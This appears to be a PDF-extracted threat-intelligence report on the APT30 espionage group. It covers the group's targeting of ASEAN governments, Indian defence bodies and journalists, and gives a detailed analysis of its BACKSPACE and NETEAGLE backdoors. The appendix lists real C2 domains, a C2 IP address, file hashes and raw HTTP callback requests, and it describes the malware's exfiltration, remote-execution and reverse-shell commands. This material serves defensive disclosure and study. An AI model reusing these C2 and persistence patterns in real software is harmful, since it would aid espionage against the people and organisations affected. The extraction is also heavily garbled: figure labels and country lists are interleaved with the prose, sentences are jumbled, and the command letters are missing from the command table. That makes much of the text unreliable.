and the Mechanics of a Long-Running Cyber Espionage Operation SPECIAL REPORT political, economic, and military issues, disputed East Asia. territories, and topics related to the legitimacy of the Chinese Communist Party. This evidence leads and the Mechanics of a Long-Running Cyber Espionage Operation REPORT us toSPECIAL believe that APT30 serves aAPT30 government needs for intelligence about key government and industry entities in Southeast Asia and India. Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets India Thailand Nepal Countries with Confirmed APT 30 Targets Countries with Likely APT30Indonesia Targets Countries with Confirmed Targets withbyLikely Targets FigureAPT 18: APT30 malware detections byCountries FireEye customer country,APT30 October 2012 October 2014 India South Korea India Thailand Saudi Arabia Thailand Nepal Bhutan Nepal Indonesia Brunei Indonesia Cambodia South Korea Countries with Confirmed APT 30Arabia Targets Malaysia United States South Korea Saudi Countries with Likely APT30Brunei Targets Philippines Myanmar Bhutan Malaysia Thailand India Vietnam Countries with Confirmed APT 30 Targets Malaysia United States United States Philippines Nepal Singapore Laos Countries with Likely APT30Indonesia Targets Philippines Myanmar Myanmar Vietnam Saudi Arabia Bhutan Brunei Japan South Korea India Vietnam Saudi Arabia Thailand Singapore Bhutan Nepal Singapore Laos Brunei Indonesia Laos Malaysia South Korea United States Saudi Arabia Philippines Bhutan Myanmar Brunei Vietnam Malaysia United States Singapore Philippines Laos Myanmar Singapore Laos Vietnam SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 PURSUES MEMBERS of the Association of Southeast Asian Nations (ASEAN) he group expresses a distinct interest in organizations and governments associated with ASEAN, particularly so around the time of official ASEAN meetings. ASEAN is a major regional organization whose member states promote cooperation and collaboration on a range of political, economic, educational, and social issues. ASEAN currently consists of ten member states: Indonesia, Malaysia, the Philippines, Singapore, Thailand, Brunei, Vietnam, Laos, Myanmar, and Cambodia. ASEAN-THEMED INFRASTRUCTURE AND CUSTOMIZED TOOLS compromise ASEAN members or associates to steal information that would provide insight into the region s politics and economics. The domain aseanm[.]com, which appears to be designed to mimic ASEAN s legitimate domain (www.asean.org), was first registered in March 2010. FireEye identified over 100 BACKSPACE malware variants that use that domain for C2, with compile dates that align with significant events in the ASEAN community. The table below shows compile times for known BACKSPACE samples that use aseanm[.]com for C2 frequently align with ASEAN events: APT30 has registered ASEAN-themed domains for C2 and compiled data-stealing malware that appears to be specifically designed around ASEAN events. APT30 is most likely trying to Table 4: ASEAN events and compile times for BACKSPACE samples using aseanm.com, 2011 - 2012 Event Date 899f512f0451a0ba4398b41ed1ae5a6d compiled 5 May 2011 6:35 e6035ec09025c1e349a7a0b3f41e90b1 compiled 5 May 2011 6:35 18th ASEAN Summit, Jakarta, Indonesia 8 May 2011 36a6a33cb4a13739c789778d9dd137ac compiled 9 May 2011 3:34 Seventh ASEAN Plus Three Labour Ministers Meeting (7th ALMM+3), Phnom Penh, Cambodia 16 11 May 2012 572c9cd4388699347c0b2edb7c6f5e25 compiled 11 May 2012 0:06 f3c29a67a7b47e644e9d1a2a0516974e compiled 11 May 2012 0:06 Senior Officials from ASEAN and China meet on implementation of the Declaration on the Conduct of Parties on the East Sea (DOC)17 25 June 2012 afe8447990ecb9e1cd4086955b7db104 compiled 26 June 2012 1:43 b5546842e08950bc17a438d785b5a019 compiled 26 June 2012 1:43 ASEAN-India Commemorative Summit, New Delhi, India18 20 December 2012 310a4a62ba3765cbf8e8bbb9f324c503 compiled 20 December 2012 3:53 SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation A large number of recent BACKSPACE samples helps bolster our assessment that the malware was compiled for use in campaigns centered on major ASEAN issues. 87 more recent BACKSPACE samples using the C2 domain aseanm[.]com were compiled clustered around a handful of dates in January and April 2013. 35 samples were compiled on December 31, 2012 and January 4 and 5, 2013; on January 1, 2013, a new Secretary-General of ASEAN, Le Luong Minh, took office for his five-year term.19 20 Similarly, 61 samples were compiled on April 22 and 23, 2013; the 22nd ASEAN Summit took place in Brunei on April 24 25, 2013. CUSTOMIZED MALWARE DEPLOYED AROUND ASEAN SUMMITS IN JANUARY AND APRIL 2013 Threat actors customization of malware can be a good indication of their level of intent on gaining access to a given target; it shows the actors have put a concerted effort into their targeting attempts, instead of taking a widespread spray and pray approach. APT30 deployed customized malware for use in specific campaigns targeting ASEAN members or nations with close ties or interests aligned with ASEAN states in January 2013 and April 2013. APT30 created the custom BACKSPACE Auto (mutex MicrosoftZjAuto), ZJ Link (mutex MicrosoftZjLnk), and ZJ Listen (mutex ZjListenLnk) variants. These malware samples were customized in two ways: (1) tailored URLs in BACKSPACE C2 communications that may represent ASEAN country codes, and (2) custom data theft and communication functions. Tailored URLs One of the customizations was in the specific URLs used for BACKSPACE C2 communications. BACKSPACE uses HTTP for much of its C2, retrieving various files from the first-stage C2 server, each of which may contain additional instructions for the malware. The C2 URL format is typically http:////, where is the first-stage C2 location, is a directory name that may vary across samples, and is the file to be downloaded (e.g., dizhi.gif). The names used in the BACKSPACE samples from January and April 2013 may indicate the country of origin for the malware intended victims (red added for emphasis) on the table below: Table 5: Possible targets of 2013 BACKSPACE campaigns BACKSPACE Variant Path Possible Target ZJ Auto (version 1.4) /autoIN/ India ZJ Auto (version 1.4) /autoMM/ Myanmar ZJ Auto (version 1.4) /autoSA/ unknown ZJ Auto (version 1.4) /autoTH/ Thailand ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-mci/ Singapore ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-ph/ Philippines ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-SA/ unknown ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-th/ Thailand ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-yw1/ unknown ZJ Listen (versions Lan2.2LnkN, Lan2.2LnkY) /Forward-mci/ Singapore ZJ Listen (versions Lan2.2LnkN, Lan2.2LnkY) /Forward-ph/ Philippines ZJ Listen (version Lan2.2LnkY) /Forward-SA/ unknown ZJ Listen (version Lan2.2LnkY) /Forward-th/ Thailand ZJ Listen (versions Lan2.2LnkN, Lan2.2LnkY) /Forward-yw1/ unknown SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Customized Malware Supporting Data Theft The only identified BACKSPACE ZJ Auto variants were all compiled on January 4 and 5, 2013 and appear to be unique to that campaign. This variant of BACKSPACE incorporated two additional features of note. First, ZJ Auto will search a set of specified file paths for files of interest, and upload the list of files found to the second-stage C2 server: %WINDIR%\$NtUninstallKB900727$22 %WINDIR%\$NtUninstallKB885884$ \Outlook Express\data \Outlook Express\data custom paths specified in the file path.ini In addition, the ZJ Auto variant of BACKSPACE incorporated the custom command (0x7B). When the malware receives this command from the controller, it will upload any files located in the specified paths to the second-stage C2 server and then delete them from the local drive. Similarly, the ZJ Link variants were almost all compiled in either January 2013 or April 2013,23 and also appear to be largely unique to those campaigns. The ZJ Link variants added the commands (0x5E) and (0x28). downloads a file to the special directory CSIDL_TEMPLATES24 and renames the file. checks that the Link -infected computer can communicate with a specified host25 on ports 21, 80, and 443. Link appears to be designed to work on concert with another unique variant, ZJ Listen .26 Listen variants listen for inbound connections on those same ports (21, 80, and 443); it is the only variant identified to date designed to receive C2 commands from an external source, as opposed to establishing an outbound connection to a C2 server. ZJ Listen could be installed on an isolated LAN with no direct Internet connectivity, while ZJ Link could be installed on a normal, Internet-accessible computer. ZJ Link can accept standard commands from the BACKSPACE second-stage C2 server, and relay commands and responses to the ZJ Listen -infected computer on the isolated network. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation SOCIAL ENGINEERING Consistently Includes Regional Security and Political Themes any of APT30 s decoy documents use topics related to Southeast Asia, India, border areas, and broader security and diplomatic issues. Decoy documents attached to spear phishing emails are frequently indicators of intended targeting because threat actors generally tailor these emails to entice their intended targets who typically work on related issues to click on the attachments and infect themselves. APT30 LEVERAGES MAJOR POLITICAL TRANSITION AS PHISHING LURE CONTENT IN CAMPAIGN GEARED TO KEY POLITICAL STAKEHOLDERS In late summer 2014, FireEye detected an APT30 spear phishing campaign at one of our regional customers. The decoy document topic related to a significant political transition in Southeast Asia. The phishing email, which contained a backdoor compiled the day prior, was likely an attempt to gain access to targets that would give APT30 actors insight into the level of instability and pending changes in the country s political leadership. Such information is typically a high priority for a government s intelligence collection efforts. According to the spear phishing emails recipients list, the email was sent to over thirty recipients in the country s Financial Services, Government and Defense sectors. APT30 targeted both professional and personal (Gmail, Hotmail) email accounts. The email was crafted entirely in the country s language, and the message s subject translated to foreign journalists reactions to the political transition. This topic would likely be of interest to individuals in security roles, leadership positions, diplomatic jobs, or public or press-facing roles. The spear phishing email was either sent from a compromised email account of one of the country s governmental agencies or was convincingly spoofed to look as though it originated from that agency. REPEATED DECOY SUBJECTS ON INDIACHINA MILITARY RELATIONS AND CONTESTED REGIONS APT30 appears to use decoy documents about China s relationship with India, particularly their military relations, likely in an attempt to compromise targets with information about this bilateral relationship. APT30 leveraged the text of a legitimate academic journal on China s border security challenges in one of its decoy documents. Figure 19: APT30 decoy document on topics related to China s border security SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Several decoy themes center on Indian defense and military materiel topics. Figure 20: APT30 decoy document on topics related to India s aircraft carrier Similarly, several of APT30 s decoy themes have centered on Indian defense and military materiel topics. In particular, a number of spear phishing subjects have related to Indian aircraft carrier and oceanographic monitoring processes, which probably indicates a specific interest in naval and maritime themes around Indian military activity and disputes in the South China Sea. The decoy document depicted in Figure 20 correlates to the actual building and launch of India s first Indianbuilt aircraft carrier. Decoy documents are not the only evidence of APT30 s targeting of Indian organizations. India-based users of VirusTotal have submitted APT30 malware to the service, suggesting that Indian researchers discovered APT30 s suspicious activity at Indian organizations as well. FireEye has also identified alerts from APT30 malware at India-based customers including: Figure 21: APT30 decoy document on topics related to Bhutan An Indian aerospace and defense company An Indian telecommunications firm Another recurring theme in APT30 s decoy documents relates to regionally contested territories, including Bhutan and Nepal. Nepal and Bhutan are important buffer states in China-India border conflicts and represent an opportunity to assert regional military dominance in Asia. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Nepal is a key battleground for influence between China and India, and serves a theme in APT30 decoy documents. The decoy document depicted in Figure 21 correlates to August 2013 s 21st Round of Boundary Talks between Bhutan and China. This text was taken verbatim from press release put out by Bhutan s Ministry of Foreign Affairs.27 Nepal is also a key battleground for influence between China and India and serves a theme in APT30 decoy documents. Traditionally Nepal has rested securely in India s sphere of influence, but more recently, China has become a more influential player with large investments in infrastructure projects, increased funding to the military and police, and other traditional Chinese influence efforts (for example, establishing Confucius Institutes). Beyond the ongoing border tensions, Nepal is also strategic to both India and China for its significant water resources. The decoy document below depicts a Nepal-related APT30 phishing decoy document. Figure 22: APT30 decoy document related to Nepal SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation THE STATE OF THE CHINESE ECONOMY ve observed APT30 targeting journalists that do not provide favorable coverage. HIGH TECH REPORTING CORRUPTION ISSUES n addition to APT30 s Southeast Asia and India focus, we ve observed APT30 target journalists reporting on issues traditionally considered to be focal points for the Chinese Communist Party s sense of legitimacy, such as corruption, the economy, and human rights. In China, the Communist Party has the ultimate authority over the government. China-based threat groups have targeted journalists before; we believe they often do so to get a better understanding on developing stories to anticipate unfavorable coverage and better position themselves to shape public messaging. A FireEye as a Service customer in the media industry received a spear phishing message in October 2012 with a subject line of China MFA Press Briefing 29 October 2012- Full Transcript. APT30 sent this message to over fifty other journalists of major global news outlets, including both official work accounts and personal email accounts. Overall, the themes on which the journalists reported fell into the following categories 1 through 6, in rough order of prevalence. DISSIDENT COVERAGE AND HUMAN RIGHTS ISSUES (for example on Uighur issues) MARITIME DISPUTES APT30 s attempts to compromise journalists and media outlets could also be used to punish outlets that do not provide favorable coverage for example, both the New York Times and Bloomberg have had trouble securing visas for journalists in wake of unfavorable corruption reporting. 28 Beyond targeting, we also saw summaries of media events or reporting in decoy documents, particularly around press releases related to government or military updates. It appears that APT30 could plausibly be targeting press attach in order to obtain access to their contacts, which would presumably include the contact information of other public affairs personnel or other journalists of interest to target. Targeting press attach s would enable APT30 to target journalists from a trusted source, which would be an excellent resource for spear phishing. DEFENSE-RELATED TOPICS SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation COUNTRIES WHERE APT30 S CONFIRMED AND LIKELY TARGETS OPERATE Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets India Thailand Nepal Indonesia Cambodia South Korea Saudi Arabia Bhutan Brunei Japan Malaysia United States Philippines Myanmar Singapore Laos Vietnam SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation CONCLUSION APT30 s operations epitomize a focused, persistent, and well-resourced threat group. They appear to consider both the timing of their operations and prioritize their targets. Some of the their tools capabilities, most notably the ability to infect air gapped networks, suggest both a level of planning and interest in particularly sensitive data, such as that housed on government networks. The group s method for selecting and tracking victims suggests a high level of coordination and organization among the group s operators. With activity spanning more than ten years, APT30 is one of the longest operating threat groups that we have encountered and one of the few with a distinct regional targeting preference. Our research into APT30 demonstrates what many already suspected: threat actors rely on cyber capabilities to gather information about their immediate neighborhood, as well as on a larger, global scale. APT30 appears to focus not on stealing businesses valuable intellectual property or cutting-edge technologies, but on acquiring sensitive data about the immediate Southeast Asia region, where they pursue targets that pose a potential threat to the influence and legitimacy of the Chinese Communist Party. In exposing APT30, we hope to increase organizations awareness of threats and ability to defend themselves. APT30 s targeting interests underscore the need for organizations across the region to defend the information assets valuable to determined threat actors. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APPENDIX A Detailed Malware Analysis BACKDOORS Despite their long history of operations, APT30 has primarily relied on a two backdoors to support their activity: BACKSPACE29 and NETEAGLE. Both backdoors have evolved into a number of variants. BACKSPACE has diverged into two main branches ( and ) with numerous variations throughout each branch. Similarly, NETEAGLE has two main versions, Scout and Norton , with Norton being the later (more recent) version. The two backdoors differ widely in their development features, including differing programming languages and different sets of commands supported by each. Despite this, the two also share some high-level design similarities, including update features and the use of twostage command and control infrastructures. The following table highlights some of the similarities and differences between the two families.30 Table 6: Comparison of BACKSPACE and NETEAGLE backdoors BACKSPACE NETEAGLE Development language C++, MFC Mutex Differs across variants, but uses similar naming convention, e.g. MicrosoftZj, MicrosoftZJLnk, MicrosoftForZR, etc. NetEagle_Scout, Eagle-Norton360OfficeScan C2 Domains Samples may use up to four C2 domains, for configuration retrieval, downloading updates, or as a backup domain if the primary fails. Samples use a single C2 domain. May Attempt to Bypass Host-Based Firewall Yes (observed in some versions) No (not observed) Callback format (may vary per sample) GET /ForZRLnk1z/dizhi.gif HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)HOST: www.km153.com:80 GET /update1/pic1.bmp HTTP/1.1 User-Agent: [name of malware binary] Host: www.creammemory.com Second stage C2 Downloads configuration file dizhi.gif from first stage C2 URL Downloads configuration file pic1.bmp from first stage C2 URL Connect to second stage controller Downloads connect.gif from first stage C2. If the file contains the victim host s hostname and ID, connects to the controller. Downloads pic2.bmp from first stage C2. If the file contains the victim host s hostname and ID, connects to the controller. Format of second stage C2 configuration file Plain text (dizhi.gif, connect.gif) RC4 encrypted (pic1.bmp, pic2.bmp) Command format Malware commands are letters Malware commands are numbers SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation BACKSPACE BACKDOOR VARIANT The branch of the BACKSPACE backdoor appears to be the oldest or original branch, with versions dating back to 2005. Variants of this branch are still being developed and compiled, adding a broad range of supported commands while still retaining the core functionality of the original versions. The BACKSPACE variant 8c713117af4ca6bbd69292a78069e75b was compiled on August 26, 2014. It represents one member of the branch of the BACKSPACE malware family. Initial Execution The mutex MicrosoftZjSYNoReg is used to guarantee that only one instance of the malware is running at any time. BACKSPACE also creates two events (MicrosoftSYNoRegExit, MicrosoftSYNoRegHaveExit) that, when signaled, trigger all the threads and the malware itself to exit. A third event, MicrosoftSYNoRegHaveAck, is created to be used by the malware to synchronize the processing of a task with an acknowledgement received from the C2 server. The malware extracts system information (OS version, build number, platform, service pack, default language id) and proxy information (from the ProxyEnable and ProxyServer values under HKEY_CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\) from the victim host. BACKSPACE then creates the registry values lnk (type REG_SZ) and hostid (type REG_DWORD) under the HKEY_CURRENT_USER\Software\Microsoft\CurrentHalInf registry key: lnk is set NTO/mol which is the encoded31 text MSN.lnk. hostid is set to a random value that is used to uniquely identify the victim computer. The malware creates a copy of itself in the folder \Messenger\BIN as msmsgs.exe, creating the folder if necessary. For persistence, BACKSPACE creates the Windows shortcut file MSN.lnk in pointing to \Messenger\BIN\msmsgs.exe with the description "Windows Messenger". C2 Domains Like many BACKSPACE variants, this sample is configured with four different C2 domains. The C2 domains are used in HTTP requests for various files; each file requested via the URI provides additional instructions or data to the malware. BACKSPACE C2 domains are typically used for different purposes that is, each domain is associated with different URIs whose associated files support different functions. For this sample, the four C2 domains have the following roles: Table 7: BACKSPACE C2 domains and registration dates Alias C2 Domain Description Zone Registration Date www.iapfreecenter[.]com Primary C2 domain 5/23/2014 www.appsecnic[.]com Backup C2 domain; run/hide configuration 3/15/2010 www.newpresses[.]com Run/hide configuration 3/17/2010 www.km153[.]com Run/hide configuration 8/30/2007 SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation vs Hide Mode BACKSPACE reads the registry value hFlag under HKEY_CURRENT_USER\Software\Microsoft\ CurrentHalInf. If it exists and is set to 1 the malware switches to "Run Mode"; otherwise the malware operates in "Hidden Mode". To switch to Run mode , BACKSPACE attempts to contact its C2 servers for validation and to obtain configuration data (stored in a file named nur.txt). It parses the configuration data and performs a series of increasingly generic checks to see whether (by inclusion or exclusion) it should remain in Run mode Make an HTTP request to www.iapfreecenter[.]com/Lnk1z/hostlist.txt and validate that the last byte of the response is 0xFE. Make an HTTP request to the legitimate URL automation.whatismyip.com/n09230945.asp to obtain the external IP of the victim computer. Make an HTTP request to either www.newpresses[.]com/http/nur.txt, www.km153[.]com/ http/nur.txt or www.appsecnic[.]com/http/nur.txt and validate that the response starts with "abcd1234"; if none of the servers respond accordingly, setting "Run Mode" fails. If the response from the server contains the "runhost=" option, search for the victim computer hostname in the option data. If found, setting "Run Mode" succeeds; else go to step 5. If the response from the server contains the "runhostexcept=" option, search for the victim computer s hostname in the option data. If found, setting "Run Mode" fails; else go to step 6. If the response from the server contains the "runip=" option, search for the victim computer external IP (obtained in step 2) in the option data. If found, setting "Run Mode" succeeds; else go to step 7. If the response from the server contains the "runipexcept=" option, search for the victim computer external IP (obtained in step 2) in the option data. If found, setting "Run Mode" fails; else go to step 8. If the response from the server contains the "rundir=" option, search for the current C2 URL (e.g., www.iapfreecenter[.]com/Lnk1z) in the option data. If found, setting "Run Mode" succeeds; else go to step 9. If the response from the server contains the "rundirexcept=" option, search for the current C2 URL (e.g., www.iapfreecenter[.]com/Lnk1z) in the option data. If found, setting "Run Mode" fails; else go to step 10. 10. If the response from the server contains the "runweb=" option, search for the current C2 domain (e.g., www.iapfreecenter[.]com) in the option data. If found, setting "Run Mode" succeeds; else go to step 11. 11. If the response from the server contains the "runwebexcept=" option, search for the current C2 domain (e.g., www.iapfreecenter[.]com) in the option data. If found, setting "Run Mode" fails; else go to step 12. 12. If the response from the server contains the "runall=1" option, setting "Run Mode" succeeds. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation If switching to "Run Mode" fails, BACKSPACE reads the registry value PassPath under HKEY_CURRENT_ USER\Software\Microsoft\CurrentHalInf, attempts to terminate the process identified by the registry data, and then exits. If BACKSPACE successfully switches to "Run Mode", the hFlag registry value under HKEY_CURRENT_USER\ Software\Microsoft\CurrentHalInf is deleted. The victim computer s hostname and IP are saved. A thread to switch the malware back to "Hidden Mode" is started. The thread runs indefinitely until the MicrosoftSYNoRegExit event gets signaled; once signaled, the thread signals the MicrosoftSYNoRegHaveExit event. In this thread, the malware reads the registry value PassPath under HKEY_CURRENT_USER\Software\Microsoft\CurrentHalInf, attempts to terminate the process identified by the registry data, and then exits. Similar to switching to Run mode BACKSPACE conducts a series of checks to attempt to switch to "Hidden Mode": Make an HTTP request to www.iapfreecenter[.]com/Lnk1z/hostlist.txt and validate that the last byte of the response is 0xFF. Make an HTTP request to the legitimate URL automation.whatismyip[.]com/n09230945.asp to obtain the external IP of the victim computer. Make an HTTP request to either www.newpresses[.]com/some/edih.txt, www.km153[.]com/ some/edih.txt or www.appsecnic[.]com/some/edih.txt and validate that the response starts with "abcd1234"; if none of the servers respond accordingly, setting "Hidden Mode" fails. If the response from the server contains the "killpath=" option, write the option data to the registry value PassPath under HKEY_CURRENT_USER\Software\Microsoft\CurrentHalInf; this data represents the path of a process to be terminated. If the response from the server contains the "hidehost=" option, search for the victim computer hostname in the option data. If found, setting "Hidden Mode" succeeds; else go to step 5. If the response from the server contains the "hidehostexcept=" option, search for the victim computer s hostname in the option data. If found, setting "Hidden Mode" fails; else go to step 6. If the response from the server contains the "hideip=" option, search for the victim computer external IP (obtained in step 2) in the option data. If found, setting "Hidden Mode" succeeds; else go to step 7. If the response from the server contains the "hideipexcept=" option, search for the victim computer s external IP (obtained in step 2) in the option data. If found, setting "Hidden Mode" fails; else go to step 8. If the response from the server contains the "hidedir=" option, search for the current C2 URL (e.g., www.iapfreecenter[.]com/Lnk1z or www.appsecnic[.]com/Lnk1z) in the option data. If found, setting "Hidden Mode" succeeds; else go to step 9. 10. If the response from the server contains the "hidedirexcept=" option, search for the current C2 URL in the option data. If found, setting "Hidden Mode" fails; else go to step 10. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation 11. If the response from the server contains the "hideweb=" option, search for the current C2 domain (e.g., www.iapfreecenter[.]com or www.appsecnic[.]com) in the option data. If found, setting "Hidden Mode" succeeds; else go to step 11. 12. If the response from the server contains the "hidewebexcept=" option, search for the current C2 domain in the option data. If found, setting Hidden Mode" fails; else go to step 12. 13. If the response from the server contains the "hideall=1" option, setting "Hidden Mode" succeeds. If BACKSPACE successfully switches to "Hidden Mode" succeeds, the hFlag registry value under HKEY_ CURRENT_USER\Software\Microsoft\CurrentHalInf is created and set to 1. The malware stores the hostname of the victim computer s primary Domain Controller to be sent to the second stage C2 server as part of the host details data. Primary vs Backup C2 Domains BACKSPACE sends an HTTP request to www.appsecnic[.]com/Lnk1z/bak.txt. If the response starts with "qazWSX123$%^", it sets the primary C2 URL domain to www.appsecnic[.]com. Download Additional Files BACKSPACE sends an HTTP request to the primary C2 URL domain and URL path /Lnk1z/app.txt and saves the file to \Messenger\BIN\Temp.txt. Next, the downloaded file is copied to \Messenger\BIN as MessengerPlug.exe and if it is a valid PE file, a new process is started. In addition, BACKSPACE sends an HTTP request to the primary C2 URL domain and URL path / Lnk1z/hostlist.txt. If the victim computer s hostname is found in the response, BACKSPACE makes a new HTTP request to the primary C2 URL domain and URL path /Lnk1z/myapp.txt and saves the file to \Messenger\BIN\Temp.txt. Next, the downloaded file is copied to \Messenger\BIN as MessengerForVista.exe and if it is a valid PE file, a new process is started. BACKSPACE will then delete the following files: \Messenger\BIN\Temp.txt \Messenger\BIN\UpdateMessenger.exe \Messenger\BIN\MessengerPlug.exe \Messenger\BIN\MessengerForVista.exe Self-Update Mechanism BACKSPACE performs the following update tasks: Obtain the latest available version number by making an HTTP to request to the primary C2 URL domain and URL path /Lnk1z/ver.txt; if the version returned does not match the version of the current binary ("2.00MSNN" for this sample), go to step 2. Download a new binary by making an HTTP request to the primary C2 URL domain and URL path / Lnk1z/exe.txt and saving the file to \Messenger\BIN\Temp.txt. Copy \Messenger\BIN\Temp.txt to \Messenger\BIN as UpdateMessenger.exe. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation If \Messenger\BIN\UpdateMessenger.exe is a valid PE, start a new process. If the previous update task fails, BACKSPACE performs a new update task: Obtain the latest available version number by making an HTTP to request to the primary C2 URL domain and URL path /Lnk1z/SomeUpVer.txt; if the version returned does not match the version of the current binary, go to step 2. Make an HTTP request to the primary C2 URL domain and URL path /Lnk1z/SomeUpList.txt and validate that the victim computer s host name is in the response; if true, go to step 3. Download a new binary by making an HTTP request to the primary C2 URL domain and URL path / Lnk1z/SomeUpExe.txt and saving the file to \Messenger\BIN\Temp.txt. Copy \Messenger\BIN\Temp.txt to \Messenger\BIN as UpdateMessenger.exe. If \Messenger\BIN\UpdateMessenger.exe is a valid PE, start a new process. Second Stage C2 Server Next, BACKSPACE makes an HTTP request to the primary C2 URL domain and URL path /Lnk1z/ dizhi.gif. Dizhi.gif is a 10-byte configuration file that specifies an IP address and three port numbers. Figure 23: Second stage C2 server information in dizhi.gif IP: 112.117.9.222 Port1: 443 Port2: 443 Port3:82 BACKSPACE starts a new thread to send details about the victim computer (ComputerName, IP, SystemDetails, DefaultLangID, HostID, Proxy info, malware current version, malware current domain, and information about the logical drives) to Port1 on the new C2 server. The malware will use the victim computer s saved proxy settings if needed. The data is sent using an HTTP POST request to the URL path /index.htm. BACKSPACE also attempts to retrieve the URL path /ForZRLnk3z/connect.gif from the primary C2 URL domain. If the victim computer s hostname and hostid are found in the file, the victim will attempt to establish a connection to the second stage C2 server on Port2 to allow the threat actors to directly interact with the victim via the BACKSPACE controller. After establishing the connection to the controller, BACKSPACE awaits further interactive commands from the operator. For this copy of BACKSPACE, the following commands are supported: SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Table 8: Commands supported by BACKSPACE "ZJ" variant 8c713117af4ca6bbd69292a78069e75b Command Meaning Same as J or S, but the file is deleted from the victim computer after transmission. Receive a folder and list of filenames from the C2 server; search the folder for the specified files (can use wildcards). For each file found, upload the encoded WIN32_FIND_DATA32 structure to the C2 server. Collects information about running processes (process name, process full path, owner account name, processID, thread count). Receive a folder path, a list of files, and a flag byte for each file from the C2 server. Delete files for which the flag is 0x30 and remove empty folders. Receive a file path, access byte (0 for WRITE, else APPEND) and encoded data from the C2 server. Open the file according to the access byte, decode the data, and write it to the file. Receive a Process ID (PID) from the C2 server; elevates privileges (SeTakeOwnershipPrivilege) of the process identified by the PID and terminate it. Receive a path from the C2 server; create a file for writing. Receive a path from the C2 server; create a folder. Receive two paths from the C2 server; perform a file rename operation. Receive a file path and offset from the C2 server. Read the file starting at the specified offset, encode the data, and send it to the C2 server. Receive a PID from the C2 server; terminate the process identified by the PID. Receive a path and a set of file attributes from the C2 server; apply the attributes to the file specified by the path. Receive a path to a folder from the C2 server; read the content of all the files from the folder and all sub-folders and upload their content after receiving acknowledgement from the C2 server. Receive a command line string from the C2 server and create a new process using the command. Same as J. Creates a reverse shell with redirected std input/output/error to pipes. Delete MSN.lnk from the folder. Same as E, but the file is created in the folder and executed. Enumerate network resources on the victim computer. Restart the C2 cycle from the self-update process (perform update, obtain secondary C2 details, send host details, receive commands, etc.). Receive a list of filenames from the C2 server. Delete the file LwxRsv.tem in ; find the set of filenames specified by the C2 server; write the Name, LastWriteTime, nFileSizeLow for each file to LwxRsv.tem; send the content of this file to the C2 server and delete it. Cancel command; sends *lecnaC* to the C2 server. Receive a registry key path from the C2 server; enumerate the registry values in the registry key and send the collected data to the C2 server. Receive a registry key path from the C2 server; create the specified registry key. Receive a registry value path, name, type, data, and size from the C2 server; create the specified registry value. Receive a registry key path from the C2 server; delete the registry key and all its sub-keys. Receive a registry value path from the C2 server; delete the registry value. Same as a command. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation After each command is processed, BACKSPACE sends a status message to the C2 server: A message starting with "O" indicates success. A message starting with "E" indicates failure. BACKSPACE BACKDOOR VARIANT The branch of the BACKSPACE malware represents a later fork of the original version. Many variants appear to be streamlined; that is, they may support a subset of the commands used by other BACKSPACE versions (both and variants are compatible with the BACKSPACE controller; any non-supported commands simply ignored by the BACKSPACE client). However, some variants include new features not seen in other versions of the backdoor, such as the ability to bypass host-based firewall software.33 The BACKSPACE variant with md5 hash 6ee35da59f92f71e757d4d5b964ecf00 was compiled on 28 August 2014. While this sample may include features not present in other (or earlier) versions of BACKSPACE, much of the malware s core functionality (such as the use of first-stage and second-stage C2 locations) has not changed significantly over time. As a recent example of the BACKSPACE malware family, this sample gives us both an overview of BACKSPACE s functionality as well as a look at some of the malware current features in the ZR branch. Initial Execution BACKSPACE creates the mutex MicrosoftZjZRLnk to ensure that only one instance is executing at any given time. It also creates two events (MicrosoftZjZRLnkExit and MicrosoftZjZRLnkHaveExit) that, when signaled, trigger all the threads and the malware itself to exit. The malware extracts system information (OS version, build number, platform, service pack, default language id) and proxy information (from the ProxyEnable and ProxyServer values under HKEY_ CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\) from the victim host. BACKSPACE then creates the registry values lnk (type REG_SZ) and hostid (type REG_DWORD) under the HKEY_CURRENT_USER\Software\Microsoft\CurrentPnpSetup registry key: lnk is set XJOXPSE/mol which is the encoded text WINWORD.lnk hostid is set to a random value (used to uniquely identify a victim host). The malware then creates the directories \Microsoft Office and \ Microsoft Office\BIN. The malware is copied to a temporary file whose path is obtained by appending the .txt file extension to the current malware path and file name. The temporary file then is copied to the newly created folder \Microsoft Office\BIN as WINWORD.exe and the original temporary file is deleted. For persistence, BACKSPACE creates the Windows shortcut file WINWORD.lnk in or pointing to \Microsoft Office\ BIN\WINWORD.EXE with the description "Microsoft Office Word". C2 Domains Like many BACKSPACE variants, this ZRLnk sample is configured with four different C2 domains. The C2 domains are used in HTTP requests for various files; each file requested via the URI provides additional instructions or data to the malware. BACKSPACE C2 domains are typically used for different purposes that is, each domain is associated with different URIs whose associated files support different functions. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation For this sample, the four C2 domains have the following roles: Domain 1 (D1): www.bigfixtools[.]com. This is the primary first-stage 